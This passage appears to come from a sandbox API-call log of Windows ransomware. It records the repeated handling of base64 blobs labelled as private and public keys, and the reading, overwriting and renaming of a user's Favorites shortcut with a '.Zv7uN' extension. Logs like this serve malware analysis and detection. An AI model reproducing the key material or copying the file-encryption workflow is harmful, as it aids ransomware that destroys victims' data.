A9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.995] GetCurrentThreadId () returned 0xa30 [0125.995] GetCurrentThreadId () returned 0xa30 [0125.995] GetCurrentThreadId () returned 0xa30 [0125.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.996] GetCurrentThreadId () returned 0xa30 [0125.996] GetCurrentThreadId () returned 0xa30 [0125.996] GetCurrentThreadId () returned 0xa30 [0125.996] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.996] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0125.996] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.996] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0125.996] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.997] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0125.999] CloseHandle (hObject=0x1e8) returned 1 [0125.999] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.001] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.003] CloseHandle (hObject=0x1e8) returned 1 [0126.003] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url.zv7un")) returned 1 [0126.004] GetCurrentThreadId () returned 0xa30 [0126.004] GetCurrentThreadId () returned 0xa30 [0126.004] GetCurrentThreadId () returned 0xa30 [0126.004] GetCurrentThreadId () returned 0xa30 [0126.004] GetCurrentThreadId () returned 0xa30 [0126.004] GetCurrentThreadId () returned 0xa30 [0126.004] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0126.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.005] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1 [0126.007] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url")) returned 0x20 [0126.007] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url", dwFileAttributes=0x80) returned 1 [0126.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.010] GetCurrentThreadId () returned 0xa30 [0126.010] GetCurrentThreadId () returned 0xa30 [0126.010] GetCurrentThreadId () returned 0xa30 [0126.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 